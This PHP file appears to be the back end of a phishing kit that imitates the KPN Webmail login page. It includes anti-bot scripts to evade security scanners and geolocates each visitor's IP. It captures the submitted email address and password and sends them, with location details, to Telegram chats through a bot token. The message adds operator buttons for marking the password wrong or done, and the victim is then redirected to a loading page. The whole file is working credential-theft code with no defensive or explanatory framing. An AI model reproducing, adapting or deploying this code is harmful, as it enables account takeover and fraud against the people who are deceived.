<?php
error_reporting(0);

include('./config.php');

include('./assets/Antibot/Bot-Crawler.php');
include('./assets/Antibot/Dila_DZ.php');
include('./assets/Antibot/new.php');
include('./assets/Antibot/detects.php');

include('./assets/functions/get_browser.php');
include('./assets/functions/get_ip.php');
session_start();

      /*  $_SESSION['ipadd'] = $_SERVER['HTTP_CLIENT_IP'] 
   ? : ($_SERVER['HTTP_X_FORWARDED_FOR'] 
   ? : $_SERVER['REMOTE_ADDR']);
*/

   if (isset($_SERVER['HTTPS']) &&
    ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) ||
    isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
    $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {
  $protocol = 'https://';
}
else {
  $protocol = 'http://';
}
 $_SESSION['connect'] = $protocol.$_SERVER['HTTP_HOST'];

$_SESSION['dir'] = dirname($_SERVER['PHP_SELF']);


$url = $_SESSION['connect'] . $_SESSION['dir'];

    $userIP = !empty($_SERVER['HTTP_X_FORWARDED_FOR'])
        ? trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0])
        : (!empty($_SERVER['HTTP_CLIENT_IP']) ? $_SERVER['HTTP_CLIENT_IP'] : $_SERVER['REMOTE_ADDR']);

    $details = json_decode(file_get_contents("http://ip-api.com/json/" . $userIP));
    $_SESSION['ipadd'] = $details->query;
    $_SESSION['country'] = $details->country;
    $_SESSION['region'] = $details->regionName;
//TELEGRAM BUTTONS

$_SESSION['buttonName2'] = "done";
$_SESSION['buttonName5'] = "wrongpass";
// TELEGRAM CONTROL BUTTONS 

        $button2 = ''.$url . '/redirect.php?key='.$_SESSION['buttonName2'].'&ip='.$_SESSION['ipadd'].'';
        $button5 = ''.$url . '/redirect.php?key='.$_SESSION['buttonName5'].'&ip='.$_SESSION['ipadd'].'';

// TELEGRAM CONTROL BUTTONS 



 if (isset($_POST['pass'])) {

        $_SESSION["pass"] = $_POST['pass'];
        $_SESSION["mail"] = $_POST['mail'];



$_SESSION['passAcc'] = "true";


        $content = "<------KPN Webmail------>"."\n\n".
        "Mail: "."`".  $_SESSION["mail"]."`". "\n".
        "Password: "."`".  $_SESSION["pass"]."`". "\n".
        "IP: ".  $_SESSION["ipadd"]."\n".
        "Country: ".  $_SESSION['country']."\n".
        "Region: ".  $_SESSION['region'];


            // Create data
            $data = http_build_query([
                'text' => $content,
                'parse_mode' => "markdown"
            ]);



                        // Create keyboard
            $keyboard = json_encode([
                "inline_keyboard" => [
                    [
                        [
                            "text" => strtoupper($_SESSION['buttonName5']),
                            "url" => urlencode($button5)
                        ],
                        [
                            "text" => strtoupper($_SESSION['buttonName2']),
                            "url" => urlencode($button2)
                        ]
                    ],

                ]
            ]);

            // Send keyboard
            foreach ($chat_id as $id) {
                $url = 'https://api.telegram.org/bot'.$token.'/sendMessage?'.$data.'&reply_markup='.$keyboard.'&chat_id='.$id;
                $res = @file_get_contents($url);
            }

        header ('Location: loading.php');
 
}

?>